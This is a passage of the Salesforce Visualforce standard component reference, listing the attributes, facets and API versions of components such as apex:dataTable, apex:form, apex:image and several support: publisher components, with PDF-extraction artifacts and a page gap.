specified in pixels or percentage. 10.0 global columnClasses String A comma-separated list of one or more classes associated with the table's columns, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. If more than one class is specified, the classes are applied in a repeating fashion to all columns. For example, if you specify columnClasses="classA, classB", then the first column is styled with classA, the second 10.0 global 310 Standard Component Reference Attribute Name Attribute Type apex:dataTable Description Required? API Access Version column is styled with classB, the third column is styled with classA, the fourth column is styled with classB, and so on. columns Integer The number of columns in this table. 10.0 global columnsWidth String A comma-separated list of the widths applied to each table column. Values can be expressed as pixels (for example, columnsWidth="100px, 100px"). 10.0 global dir String The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). 10.0 global first Integer The first element in the iteration visibly rendered in the table, where 0 is the index of the first element in the set of data specified by the value attribute. For example, if you did not want to display the first two elements in the set of records specified by the value attribute, set first="2". 10.0 global footerClass String The style class used to display the footer (bottom row) for the rendered HTML table, if a footer facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global frame String The borders drawn for this table. Possible values include "none", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", and "border". If not specified, this value defaults to "border". 10.0 global headerClass String The style class used to display the header for the rendered HTML table, if a header facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global id String An identifier that allows the dataTable component to be referenced by other components in the page. 10.0 global lang String The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications. 10.0 global onclick String The JavaScript invoked if the onclick event occurs--that is, if the user clicks the data table. 10.0 global ondblclick String The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the data table twice. 10.0 global onkeydown String The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. 10.0 global onkeypress String The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. 10.0 global 311 Standard Component Reference Attribute Name Attribute Type apex:dataTable Description Required? API Access Version onkeyup String The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. 10.0 global onmousedown String The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. 10.0 global onmousemove String The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. 10.0 global onmouseout String The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the data table. 10.0 global onmouseover String The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the data table. 10.0 global onmouseup String The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. 10.0 global onRowClick String The JavaScript invoked if the onRowClick event occurs--that is, if the user clicks a row in the data table. 10.0 global onRowDblClick String The JavaScript invoked if the onRowDblClick event occurs--that is, if the user clicks a row in the data table twice. 10.0 global onRowMouseDown String The JavaScript invoked if the onRowMouseDown event occurs--that is, if the user clicks a mouse button in a row of the data table. 10.0 global onRowMouseMove String The JavaScript invoked if the onRowMouseMove event occurs--that is, if the user moves the mouse pointer over a row of the data table. 10.0 global onRowMouseOut String The JavaScript invoked if the onRowMouseOut event occurs--that is, if the user moves the mouse pointer away from a row in the data table. 10.0 global onRowMouseOver String The JavaScript invoked if the onRowMouseOver event occurs--that is, if the user moves the mouse pointer over a row in the data table. 10.0 global onRowMouseUp String The JavaScript invoked if the onRowMouseUp event occurs--that is, if the user releases the mouse button over a row in the data table. 10.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global rowClasses String A comma-separated list of one or more classes associated with the table's rows, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. If more than one class is specified, the classes are applied in a repeating fashion to all rows. For example, 10.0 global 312 Standard Component Reference apex:dataTable Attribute Name Attribute Type Description Required? API Access Version if you specify columnRows="classA, classB", then the first row is styled with classA, the second row is styled with classB, the third row is styled with classA, the fourth row is styled with classB, and so on. rows Integer The number of rows in this table. 10.0 global rules String The borders drawn between cells in the table. Possible values include "none", "groups", "rows", "cols", and "all". If not specified, this value defaults to "none". 10.0 global style String The style used to display the dataTable component, used primarily for adding inline CSS styles. 10.0 global styleClass String The style class used to display the dataTable component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global summary String A summary of the table's purpose and structure for Section 508 compliance. 10.0 global title String The text to display as a tooltip when the user's mouse pointer hovers over this component. 10.0 global value Object The collection of data displayed in the table. Yes 10.0 global var String The name of the variable that represents one element in Yes the collection of data specified by the value attribute. You can then use this variable to display the element itself in the body of the dataTable component tag. 10.0 global width String The width of the entire table, expressed either as a relative percentage to the total amount of available horizontal space (for example, width="80%"), or as the number of pixels (for example, width="800px"). 10.0 global Facets Facet Name Description API Version caption The components that appear in the caption for the table. Note that the order in 10.0 which a caption facet appears in the body of a dataTable component does not matter, because any facet with name="caption" will control the appearance of the table's caption. footer The components that appear in the footer row for the table. Note that the order in which a footer facet appears in the body of a dataTable component does not matter, because any facet with name="footer" will control the appearance of the final row in the table. header The components that appear in the header row for the table. Note that the order 10.0 in which a header facet appears in the body of a dataTable component does not 10.0 313 Standard Component Reference Facet Name apex:define Description API Version matter, because any facet with name="header" will control the appearance of the first row in the table. apex:define A template component that provides content for an component defined in a Visualforce template page. See also: , Example


(page) This is the header of mypage (page) This is the body of mypage The example above renders the following HTML: (template) This is (page) This is the (template) This is (page) This is the before the header
header of mypage
between the header and body
body of mypage Attributes Attribute Name Attribute Type name String Description Required? API Access Version The name of the insert component into which the content Yes of this define component should be inserted. 10.0 global 314 Standard Component Reference apex:detail apex:detail The standard detail page for a particular object, as defined by the associated page layout for the object in Setup. This component includes attributes for including or excluding the associated related lists, related list hover links, and title bar that appear in the standard Salesforce application interface. Example Attributes Attribute Name Attribute Type id String inlineEdit Boolean Description An identifier that allows the detail component to be referenced by other components in the page. Controls whether the component supports inline editing. Required? API Access Version 10.0 global 20.0 See also: oncomplete String The JavaScript invoked if the oncomplete event occurs--that is, when the tab has been selected and its content rendered on the page. 20.0 This attribute only works if inlineEdit or showChatter are set to true. relatedList Boolean relatedListHover Boolean rendered Boolean A Boolean value that specifies whether the related lists are included in the rendered component. If true, the related lists are displayed. If not specified, this value defaults to true. 10.0 global A Boolean value that specifies whether the related list hover links are included in the rendered component. If true, the related list hover links are displayed. If not specified, this value defaults to true. Note that this attribute is ignored if the relatedList attribute is false, or if the "Enable Related List Hover Links" option is not selected under Setup | Customize | User Interface. 10.0 global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global 315 Standard Component Reference Attribute Name Attribute Type rerender Object apex:dynamicComponent Description The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs. Required? API Access Version 20.0 This attribute only works if inlineEdit or showChatter are set to true. showChatter Boolean A Boolean value that specifies whether to display the Chatter information and controls for the record. 20.0 If this is true, and showHeader on is false, then the layout looks exactly as if the is being used. If this is true, and showHeader on is true, then the layout looks like the regular Chatter UI. subject String The ID of the record that should provide data for this component. 10.0 global title Boolean A Boolean value that specifies whether the title bar is included in the rendered component. If true, the title bar is displayed. If not specified, this value defaults to true. 10.0 global apex:dynamicComponent This tag acts as a placeholder for your dynamic Apex components. It has one required parameter—componentValue—which accepts the name of an Apex method that returns a dynamic component. The following Visualforce components do not have dynamic Apex representations: • • • • • • • • • • 316 Standard Component Reference apex:emailPublisher Example /* Controller */ public class SimpleDynamicController { public Component.Apex.Detail getDynamicDetail() { Component.Apex.Detail detail = new Component.Apex.Detail(); detail.expressions.subject = '{!acct.OwnerId}'; detail.relatedList = false; detail.title = false; return detail; } // Just return the first Account, for example purposes only public Account acct { get { return [SELECT Id, Name, OwnerId FROM Account LIMIT 1]; } } } Attributes Attribute Name Attribute Type Description Required? API Access Version componentValue UIComponent Accepts the name of an Apex method that returns a dynamic Visualforce component. Yes 22.0 id String An identifier that allows the attribute to be referenced by other tags in the custom component definition. 22.0 rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 22.0 global apex:emailPublisher The email publisher lets support agents who use Case Feed compose and send email messages to customers. You can customize this publisher to support email templates and attachments. This component can only be used in organizations that have Case Feed and Email-to-Case enabled. Ext JS versions less than 3 should not be included on pages that use this component. This example displays the email publisher. Attributes Attribute Name Attribute Type Description Required? API Access Version autoCollapseBody Boolean A Boolean value that specifies whether the email body will be collapsed to a small height when it is empty. 27.0 bccVisibility String The visibility of the BCC field can be 'editable', 'editableWithLookup', 'readOnly', or 'hidden'. 27.0 ccVisibility String The visibility of the CC field can be 'editable', 'editableWithLookup', 'readOnly', or 'hidden'. 27.0 emailBody String The default text value of the email body. 27.0 emailBodyFormat String The format of the email body can be 'text', 'HTML', or 'textAndHTML'. 27.0 emailBodyHeight String The height of the email body in em. 27.0 enableQuickText Boolean If the quick text autocomplete functionality will be available in the publisher. 27.0 Entity ID of the record for which to display the email Yes publisher. In the current version only Case record ids are supported. 27.0 expandableHeader Boolean A Boolean value that specifies whether the header is expandable or fixed. 27.0 fromAddresses String A restricted set of from addresses. 27.0 fromVisibility String The visibility of the From field can be 'selectable' or 'hidden'. 27.0 An identifier that allows the component to be referenced by other components in the page. 25.0 onSubmitFailure String The JavaScript invoked if the email failed to be sent. 27.0 onSubmitSuccess String The JavaScript invoked if the email was successfully sent. 27.0 A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 25.0 entityId id rendered id String Boolean global global 318 Standard Component Reference Attribute Name Attribute Type Description Required? API Access Version The ID of one or more components that are redrawn when the email was successfully sent. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs. 27.0 sendButtonName String The name of the send button in the email publisher. 27.0 showAdditionalFields Boolean A Boolean value that specifies whether the additional fields defined in the publisher layout should be displayed. 27.0 showAttachments Boolean A Boolean value that specifies whether the attachment selector should be displayed. 27.0 showSendButton Boolean A Boolean value that specifies whether the send button should be displayed. 27.0 showTemplates Boolean A Boolean value that specifies whether the template selector should be displayed. 27.0 The default value of the Subject. 27.0 subjectVisibility String The visibility of the Subject field can be 'editable', 'readOnly', or 'hidden'. 27.0 submitFunctionName String The name of a function that can be called from JavaScript to send the email. 27.0 reRender subject Object apex:enhancedList String title String The title displayed in the email publisher header. 27.0 toAddresses String The default value of the To field. 27.0 toVisibility String The visibility of the To field can be 'editable', 'editableWithLookup', 'readOnly', or 'hidden'. 27.0 width String The width of the email publisher in pixels (px) or percentage (%). 27.0 apex:enhancedList The list view picklist for an object, including its associated list of records for the currently selected view. In standard Salesforce applications this component is displayed on the main tab for a particular object. This component has additional attributes that can be specified, such as the height and rows per page, as compared to . Note: When an is rerendered through another component's rerender attribute, the must be inside of an component that has its layout attribute set to "block". The component is not allowed on pages that have the attribute showHeader set to false. You can only have five components on a single page. Ext JS versions less than 3 should not be included on pages that use this component. See also: . 319 Standard Component Reference apex:enhancedList Example Attributes Attribute Name Attribute Type Description Required? API Access Version customizable Boolean A Boolean value that specifies whether the list can be customized by the current user. If not specified, the default value is true. If this attribute is set to false, the current user will not be able to edit the list definition or change the list name, filter criteria, columns displayed, column order, or visibility. However, the current user's personal preferences can still be set, such as column width or sort order. 14.0 height Integer An integer value that specifies the height of the list in pixels. This value is required. id String The database ID of the desired list view. When editing a list view definition, this ID is the 15-character string after 'fcf=' in the browser's address bar. This value is required if type is not specified. 14.0 listId String The Salesforce object for which views are displayed. This value is required if type is not specified. 14.0 oncomplete String The JavaScript that runs after the page is refreshed in the browser. Note that refreshing the page automatically calls this JavaScript, while an inline edit and subsequent save does not. 14.0 rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 14.0 reRender Object The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs. Note: When an enhancedList is rerendered through another component's rerender attribute, the enhanceList must be inside of an apex:outputPanel component that has layout attribute set to "block". 14.0 rowsPerPage Integer An integer value that specifies the number of rows per page. The default value is the preference of the current user. Possible values are 10, 25, 50, 100, 200. Note: If you set the value for greater than 100, a message is 14.0 Yes 14.0 global 320 Standard Component Reference Attribute Name Attribute Type apex:facet Description Required? API Access Version automatically displayed to the user, warning of the potential for performance degradation. type String The Salesforce object for which views are displayed, for example, type="Account" or type="My_Custom_Object__c". 14.0 width Integer An integer value that specifies the width of the list in pixels. The default value is the available page width, or the width of the browser if the list is not displayed in the initially viewable area of the viewport. 14.0 apex:facet A placeholder for content that is rendered in a specific part of the parent component, such as the header or footer of an . An component can only exist in the body of a parent component if the parent supports facets. The name of the facet component must match one of the pre-defined facet names on the parent component. This name determines where the content of the facet component is rendered. Consequently, the order in which a facet component is defined within the body of a parent component does not affect the appearance of the parent component. See for an example of facets. Note: Although you can't represent an directly in Apex, you can specify it on a dynamic component that has the facet. For example: Component.apex.dataTable dt = new Component.apex.dataTable(); dt.facets.header = 'Header Facet'; Name {!contact.Name} Phone {!contact.Phone} 321 Standard Component Reference apex:flash Attributes Attribute Name Attribute Type name String Description Required? API Access Version The name of the facet to be rendered. This name must Yes match one of the pre-defined facet names on the parent component and determines where the content of the facet component is rendered. For example, the dataTable component includes facets named "header", "footer", and "caption". 10.0 global apex:flash A Flash movie, rendered with the HTML object and embed tags. Attributes Attribute Name Attribute Type Description Required? API Access Version flashvars String The flashvars attribute can be used to import root level variables to the movie. All variables are created before the first frame of the SWF is played. The value should consist of a list of ampersand-separated name-value pairs. 14.0 height String The height at which this movie is displayed, expressed Yes either as a relative percentage of the total available vertical space (for example, 50%) or as a number of pixels (for example, 100). 14.0 id String An identifier that allows the component to be referenced by other components in the page. 27.0 loop Boolean A Boolean value that specifies whether the flash movie plays repeatedly or just once. If set to true, the flash movie plays repeatedly. If not specified, this value defaults to false. 14.0 play Boolean A Boolean value that specifies whether the flash movie automatically begins playing when displayed. If set to 14.0 global 322 Standard Component Reference Attribute Name Attribute Type apex:form Description Required? API Access Version true, the flash movie automatically begins playing. If not specified, the value defaults to false. rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 27.0 src String The path to the movie displayed, expressed as a URL. Yes Note that a flash movie can be stored as a static resource in Salesforce. 14.0 width String The width at which this movie is displayed, expressed either as a relative percentage of the total available horizontal space (for example, 50%) or as a number of pixels (for example, 100). 14.0 Yes global apex:form A section of a Visualforce page that allows users to enter input and then submit it with an or . The body of the form determines the data that is displayed and the way it is processed. It's a best practice to verify that pages and custom components use at most one tag. As of API version 18.0, this tag can't be a child component of . Example 323 Standard Component Reference apex:form The example above renders the following HTML:
Case Number Account Name Name Subject Status
00001000 Edge Communications Rose Gonzalez Starting generator after electrical failure
00001027 Joyce Bookings Andy Young Checking paper jam
324 Standard Component Reference apex:form
Attributes Attribute Name Attribute Type accept String acceptcharset String Description Required? API Access Version A comma-separated list of content types that a server processing this form can handle. Possible values for this attribute include "text/html", "image/png", "image/gif", "video/mpeg", "text/css", and "audio/basic". For more information, including a complete list of possible values, see the W3C specifications. 10.0 global A comma-separated list of character encodings that a server processing this form can handle. If not specified, this value defaults to "UNKNOWN". 10.0 global dir String The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). 10.0 global enctype String The content type used to submit the form to the server. If not specified, this value defaults to "application/x-www-form-urlencoded". 10.0 global forceSSL Boolean The form will be submitted using SSL, regardless of whether the page itself was served with SSL. The default is false. If the value is false, the form will be submitted using the same protocol as the page. If forceSSL is set to true, when the form is submitted, the page returned will use SSL. 14.0 id String An identifier that allows the form component to be referenced by other components in the page. 10.0 global lang String The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications. 10.0 global onclick String The JavaScript invoked if the onclick event occurs--that is, if the user clicks the form. 10.0 global ondblclick String The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the form twice. 10.0 global onkeydown String The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. 10.0 global onkeypress String The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. 10.0 global onkeyup String The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. 10.0 global onmousedown String The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. 10.0 global 325 Standard Component Reference Attribute Name Attribute Type apex:gaugeSeries Description Required? API Access Version onmousemove String The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. 10.0 global onmouseout String The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the form. 10.0 global onmouseover String The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the form. 10.0 global onmouseup String The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. 10.0 global onreset String The JavaScript invoked if the onreset event occurs--that is, if the user clicks the reset button on the form. 10.0 global onsubmit String The JavaScript invoked if the onsubmit event occurs--that is, if the user clicks the submit button on the form. 10.0 global prependId Boolean A Boolean value that specifies whether or not this form should prepend its ID to the IDs of its child components during the clientid generation process. If not specified, the value defaults to true. 10.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global style String The style used to display the form component, used primarily for adding inline CSS styles. 10.0 global styleClass String The style class used to display the form component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global target String The name of the frame that displays the response after the form is submitted. Possible values for this attribute include "_blank", "_parent", "_self", and "_top". You can also specify your own target names by assigning a value to the name attribute of a desired destination. 10.0 global title String The text to display as a tooltip when the user's mouse pointer hovers over this component. 10.0 global apex:gaugeSeries A data series that shows progress along a specific metric. At a minimum you must specify the fields in the data collection to use as label and value pair for the gauge level to be shown. The readability of a gauge chart benefits when you specify meaningful values for the minimum and maximum along the associated , which must be of type "gauge". 326 Standard Component Reference apex:gaugeSeries Note: This component must be enclosed within an component. You should put only one in a chart. Example Attributes Attribute Name Attribute Type Description Required? API Access Version colorSet String A set of color values used as the gauge level fill colors. Colors are specified as HTML-style (hexadecimal) colors, and should be comma separated. For example, #00F,#0F0. 26.0 dataField String The field in the records provided in the chart data from Yes which to retrieve the data value for the gauge level. Only the first record is used. 26.0 donut Integer An integer representing the radius of the hole to place in the center of the gauge chart, as a percentage of the radius of the gauge. The default of 0 creates a gauge chart with no hole, that is, a half-circle. 26.0 highlight Boolean A Boolean value that specifies whether each gauge level should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true. 26.0 id String An identifier that allows the chart component to be referenced by other components on the page. 26.0 labelField String The field in the records provided in the chart data from which to retrieve the label for the gauge level. Only the first record is used. If not specified, this value defaults to "name". 23.0 needle Boolean A Boolean value that specifies whether to show the gauge needle or not. Defaults to false, don't show the needle. 26.0 rendered Boolean A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true. 26.0 rendererFn String A string that specifies the name of a JavaScript function that augments or overrides how gauge elements are rendered. Implement to provide additional styling or to augment data. 26.0 global 327 Standard Component Reference Attribute Name Attribute Type tips Boolean apex:iframe Description A Boolean value that specifies whether to display a tooltip for the gauge level when the mouse pointer passes over it. The format of the tip is : . If not specified, this value defaults to true. Required? API Access Version 26.0 apex:iframe A component that creates an inline frame within a Visualforce page. A frame allows you to keep some information visible while other information is scrolled or replaced. Example The example above renders the following HTML: Attributes Attribute Name Attribute Type Description Required? API Access Version frameborder Boolean A Boolean value that specifies whether a border should surround the inline frame. If not specified, this value defaults to false. 10.0 global height String The height of the inline frame, expressed either as a percentage of the total available vertical space (for example height="50%"), or as the number of pixels (for example, height="300px"). If not specified, this value defaults to 600px. 10.0 global id String An identifier that allows the inline frame component to be referenced by other components in the page. 10.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global scrolling Boolean A Boolean value that specifies whether the inline frame can be scrolled. If not specified, this value defaults to true. 10.0 global src String The URL that specifies the initial contents of the inline frame. This URL can either be an external website, or another page in the application. 10.0 global 328 Standard Component Reference Attribute Name Attribute Type apex:image Description Required? API Access Version title String The text to display as a tooltip when the user's mouse pointer hovers over this component. 10.0 global width String The width of the inline frame, expressed either as a percentage of the total available horizontal space (for example width="80%"), or as the number of pixels (for example, width="600px"). 10.0 global apex:image A graphic image, rendered with the HTML tag. Example The example above renders the following HTML: Resource Example The example above renders the following HTML: Zip Resource Example The example above renders the following HTML: Attributes Attribute Name Attribute Type alt String Description An alternate text description of the image, used for Section 508 compliance. Required? API Access Version 10.0 global 329 Standard Component Reference Attribute Name Attribute Type apex:image Description Required? API Access Version dir String The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). 10.0 global height String The height at which this image should be displayed, expressed either as a relative percentage of the total available vertical space (for example, height="50%") or as a number of pixels (for example, height="100px"). If not specified, this value defaults to the dimension of the source image file. 10.0 global id String An identifier that allows the image component to be referenced by other components in the page. 10.0 global ismap Boolean A Boolean value that specifies whether this image should be used as an image map. If set to true, the image component must be a child of a commandLink component. If not specified, this value defaults to false. 10.0 global lang String The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications. 10.0 global longdesc String A URL that links to a longer description of the image. 10.0 global onclick String The JavaScript invoked if the onclick event occurs--that is, if the user clicks the image. 10.0 global ondblclick String The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the image twice. 10.0 global onkeydown String The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. 10.0 global onkeypress String The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. 10.0 global onkeyup String The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. 10.0 global onmousedown String The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. 10.0 global onmousemove String The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. 10.0 global onmouseout String The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the image. 10.0 global onmouseover String The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the image. 10.0 global onmouseup String The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. 10.0 global 330 Standard Component Reference Attribute Name Attribute Type apex:include Description Required? API Access Version rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 10.0 global style String The style used to display the image component, used primarily for adding inline CSS styles. 10.0 global styleClass String The style class used to display the image component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. 10.0 global title String The text to display as a tooltip when the user's mouse pointer hovers over this component. 10.0 global url String The path to the image displayed, expressed either as a URL or as a static resource or document merge field. 10.0 global usemap String The name of a client-side image map (an HTML map element) for which this element provides the image. 10.0 global value Object The path to the image displayed, expressed either as a URL or as a static resource or document merge field. 10.0 global width String The width at which this image is displayed, expressed either as a relative percentage of the total available horizontal space (for example, width="50%") or as a number of pixels (for example, width="100px"). If not specified, this value defaults to the dimension of the source image file. 10.0 global apex:include A component that inserts a second Visualforce page into the current page. The entire page subtree is injected into the Visualforce DOM at the point of reference and the scope of the included page is maintained. If content should be stripped from the included page, use the component instead. Example
331 Standard Component Reference apex:includeScript The example above renders the following HTML: (page) This is the page.
(include) This is text from another page. Attributes Attribute Name Attribute Type id String pageName rendered Description Required? API Access Version An identifier that allows the inserted page to be referenced by other components in the page. 10.0 global ApexPages.PageReference The Visualforce page whose content should be inserted Yes into the current page. For this value, specify the name of the Visualforce page or use merge-field syntax to reference a page or PageReference. 10.0 global Boolean 10.0 global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. apex:includeScript A link to a JavaScript library that can be used in the Visualforce page. When specified, this component injects a script reference into the head element of the generated HTML page. For performance reasons, you may simply want to use a JavaScript tag before your closing tag, rather than this component. Example The example above renders the following HTML: Attributes Attribute Name Attribute Type Description Required? API Access Version id String An identifier that allows the component to be referenced by other components in the page. 17.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 17.0 global site:previewAsAdmin This component shows detailed error messages on a site in administrator preview mode. We recommend that you add it right before the closing apex:page tag. Note: The site:previewAsAdmin component contains the apex:messages tag, so if you have that tag elsewhere on your error pages, you will see the error message twice. 469 Standard Component Reference social:profileViewer Example The example above renders the following HTML: Attributes Attribute Name Attribute Type Description Required? API Access Version id String An identifier that allows the component to be referenced by other components in the page. 19.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 19.0 global social:profileViewer UI component that adds the Social Accounts and Contacts viewer to Account (including person account), Contact, or Lead detail pages. The viewer displays the record name, a profile picture, and the social network icons that allow users to sign in to their accounts and view social data directly in Salesforce. Social Accounts and Contacts must be enabled for your organization. Note that this component is only supported for Account, Contact, and Lead objects and can only be used once on a page. This component isn't available for Visualforce pages on Force.com sites. 470 Standard Component Reference support:caseArticles This example displays the Social Accounts and Contacts viewer for a contact. Attributes Attribute Name Attribute Type Description Required? API Access Version entityId id Entity ID of the record for which to display the Social Yes Accounts and Contacts viewer; for example, Contact.Id. 24.0 id String An identifier that allows the component to be referenced by other components in the page. 24.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 24.0 global support:caseArticles Displays the case articles tool. The tool can show articles currently attached to the Case and/or an article Keyword search. This component can only be used in organizations that have Case Feed and Knowledge enabled. Ext JS versions less than 3 should not be included on pages that use this component. This example displays the case articles tool. 471 Standard Component Reference support:caseArticles Attributes Attribute Name Attribute Type articleTypes String attachToEmailEnabled Boolean Description Required? API Access Version Article types to be used to filter the search. Multiple article types can be defined, separated by commas. 27.0 A Boolean value that specifies whether articles can be attached to emails. 27.0 27.0 bodyHeight String The height of the body in pixels (px) or 'auto' to automatically adjust to the height of the currently displayed list of articles. caseId id Case ID of the record for which to display the case articles. categories String Data categories to be used to filter the search. The format of this value should be: 'CatgeoryGroup1:Category1' where CategoryGroup1 and Category1 are the names of a Category Group and a Category respectively. Multiple category filters can be specified separated by commas but only one per category group. 27.0 categoryMappingEnabled Boolean A Boolean value that specifies whether the default data category mapping pre-filtering should be taken into account or not . 27.0 defaultKeywords String The keywords to be used when the defaultSearchType attribute is 'keyword'. If no keywords are specified, the Case subject is used as a default. 27.0 defaultSearchType String Specifies the default query of the article search form when it is first displayed. The value can be 'keyword', 'mostViewed', or 'lastPublished'. 27.0 String An identifier that allows the component to be referenced by other components in the page. 25.0 A Boolean value that specifies whether articles can be shared by URL. 27.0 id insertLinkToEmail Boolean Yes 27.0 language String A language to be used for filtering the search if multilingual Knowledge is enabled. 27.0 logSearch Boolean A Boolean value that specifies whether keyword searches should be logged. 27.0 mode String Specifies whether the component displays articles currently attached to the case, an article search form, or both. The value can be 'attached', 'search', 'attachedAndSearch', or 'searchAndAttached'. 27.0 The JavaScript invoked after an article search has completed. 27.0 onSearchComplete String global 472 Standard Component Reference Attribute Name Attribute Type support:caseFeed Description Required? API Access Version rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 25.0 reRender Object The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs. 27.0 searchButtonName String The display name of the search button. 27.0 searchFieldWidth String The width of the keyword search field in pixels (px). 27.0 searchFunctionName String The name of a function that can be called from JavaScript to search for articles if the widget is currently in search mode. 27.0 showAdvancedSearch Boolean A Boolean value that specifies whether the advanced search link should be displayed. 27.0 The title displayed in the component's header. 27.0 The style of the title bar can be 'expanded', 'collapsed', 'fixed', or 'none'. 27.0 The width of the component in pixels (px) or percentage (%). 27.0 title String titlebarStyle String width String global support:caseFeed The Case Feed component includes all of the elements of the standard Case Feed page, including the publishers (Email , Portal, Log a Call, and Internal Note), case activity feed, feed filters, and highlights panel. This component can only be used in organizations that have Case Feed enabled. This example displays the Case Feed component. Attributes Attribute Name Attribute Type caseId id Description Required? API Access Version Case ID of the record for which to display the Case Feed. Yes 27.0 473 Standard Component Reference Attribute Name Attribute Type support:portalPublisher Description Required? API Access Version id String An identifier that allows the component to be referenced by other components in the page. 26.0 global rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 26.0 global support:portalPublisher The Portal publisher lets support agents who use Case Feed compose and post portal messages. This component can only be used in organizations that have Case Feed enabled. This example displays the Portal publisher. Attributes Attribute Name Attribute Type Required? API Access Version The default text value of the answer body. 27.0 answerBodyHeight String The height of the answer body in ems (em). 27.0 autoCollapseBody Boolean A Boolean value that specifies whether the answer body will be collapsed to a small height when it is empty. 27.0 answerBody String Description entityId id Entity ID of the record for which to display the portal Yes publisher. In the current version, only Case record ids are supported. 27.0 id String An identifier that allows the component to be referenced by other components in the page. 25.0 The JavaScript invoked if the answer failed to be published to the portal. 27.0 onSubmitFailure String global 474 Standard Component Reference support:portalPublisher Attribute Name Attribute Type Description Required? API Access Version onSubmitSuccess String The JavaScript invoked if the answer was successfully published to the portal. 27.0 rendered Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true. 25.0 reRender Object The ID of one or more components that are redrawn when the answer was successfully published. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs. 27.0 showSendEmailOption Boolean A Boolean value that specifies whether the option to send email notification should be displayed. 27.0 showSubmitButton Boolean A Boolean value that specifies whether the submit button should be displayed. 27.0 submitButtonName String The name of the submit button in the portal publisher. 27.0 submitFunctionName String The name of a function that can be called from JavaScript to publish the answer. 27.0 title String The title displayed in the portal publisher header. 27.0 width String The width of the portal publisher in pixels (px) or percentage (%). 27.0 global 475 APPENDICES Appendix A Global Variables, Functions, and Expression Operators Visualforce pages use the same expression language as formulas—that is, anything inside {! } is evaluated as an expression that can access values from records that are currently in context. This appendix provides an overview of the variables, functions, and operators that can be used in Visualforce markup expressions: • • • Global Variables Functions Expression Operators Global Variables You can use global variables to reference general information about the current user and your organization on a Visualforce page. All global variables must be included in expression syntax, for example, {!$User.Name}. $Action Description A global merge field 